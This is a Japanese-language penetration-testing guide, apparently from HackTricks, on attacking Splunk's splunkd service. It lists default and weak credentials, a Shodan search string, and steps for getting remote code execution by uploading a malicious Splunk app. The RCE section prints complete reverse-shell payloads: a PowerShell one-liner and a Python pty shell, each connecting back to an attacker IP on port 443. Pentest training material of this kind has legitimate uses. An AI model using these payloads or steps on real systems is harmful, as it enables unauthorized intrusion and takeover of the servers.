# 8089 - Pentesting Splunkd {{#include ../banners/hacktricks-training.md}} ## **基本情報** - データ収集、分析、可視化のためのログ分析ツール - セキュリティ監視やビジネス分析で一般的に使用される - デフォルトポート: - ウェブサーバー: 8000 - Splunkdサービス: 8089 ### 脆弱性ベクター: 1. 無料版の悪用 - トライアル版は60日後に自動的に無料版に変わる - 無料版は認証が欠如している - 管理されない場合、潜在的なセキュリティリスクがある - 管理者はセキュリティの影響を見落とす可能性がある 2. 認証情報の脆弱性 - 古いバージョン: デフォルトの認証情報 `admin:changeme` - 新しいバージョン: インストール時に設定された認証情報 - 弱いパスワードの使用の可能性 (例: `admin`, `Welcome`, `Password123`) 3. リモートコード実行の機会 - 複数のコード実行方法: - サーバーサイドDjangoアプリケーション - RESTエンドポイント - スクリプト入力 - アラートスクリプト - クロスプラットフォームサポート (Windows/Linux) - スクリプト入力は以下を実行できる: - Bashスクリプト - PowerShellスクリプト - バッチスクリプト 主要な悪用の可能性: - 機密データの保存 - 無料版の認証の欠如 - リモートコード実行のための複数のベクター - システム侵害のためのスクリプト入力の活用の可能性 ### Shodan - `Splunk build` ## RCE ### カスタムアプリケーションの作成 Splunkは、カスタムアプリケーションの展開を通じてリモートコード実行のための高度な方法を提供し、そのクロスプラットフォームスクリプティング機能を活用しています。核心的な悪用技術は、WindowsおよびLinuxシステムでリバースシェルを実行できる悪意のあるアプリケーションを作成することにあります。 カスタムアプリケーションは**Python、Batch、Bash、またはPowerShellスクリプト**を実行できます。さらに、**SplunkにはPythonがインストールされている**ため、**Windows**システムでもPythonコードを実行できます。 [**この**](https://github.com/0xjpuff/reverse_shell_splunk)例を使用することができ、**`bin`**には[Python](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/rev.py)と[PowerShell](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/run.ps1)の例が含まれています。または、自分自身で作成することもできます。 悪用プロセスは、プラットフォーム全体で一貫した方法論に従います: ``` splunk_shell/ ├── bin (reverse shell scripts) └── default (inputs.conf configuration) ``` 重要な設定ファイル `inputs.conf` は、スクリプトを有効にするために以下を行います: - `disabled = 0` を設定 - 10秒の実行間隔を設定 - スクリプトのソースタイプを定義 デプロイメントは簡単です: 1. 悪意のあるアプリケーションパッケージを作成 2. 攻撃マシンでリスナー(Netcat/socat)を設定 3. Splunkのインターフェースを通じてアプリケーションをアップロード 4. アップロード時に自動スクリプト実行をトリガー サンプルWindows PowerShellリバースシェル: ```bash $client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush() }; $client.Close() ``` サンプルLinux Pythonリバースシェル: ```python import sys, socket, os, pty ip = "10.10.14.15" port = "443" s = socket.socket() s.connect((ip, int(port))) [os.dup2(s.fileno(), fd) for fd in (0, 1, 2)] pty.spawn('/bin/bash') ``` ### RCE & Privilege Escalation 以下のページでは、このサービスがどのように悪用されて特権を昇格させ、持続性を得ることができるかの説明を見つけることができます: {{#ref}} ../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md {{#endref}} ## References - [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213) {{#include ../banners/hacktricks-training.md}}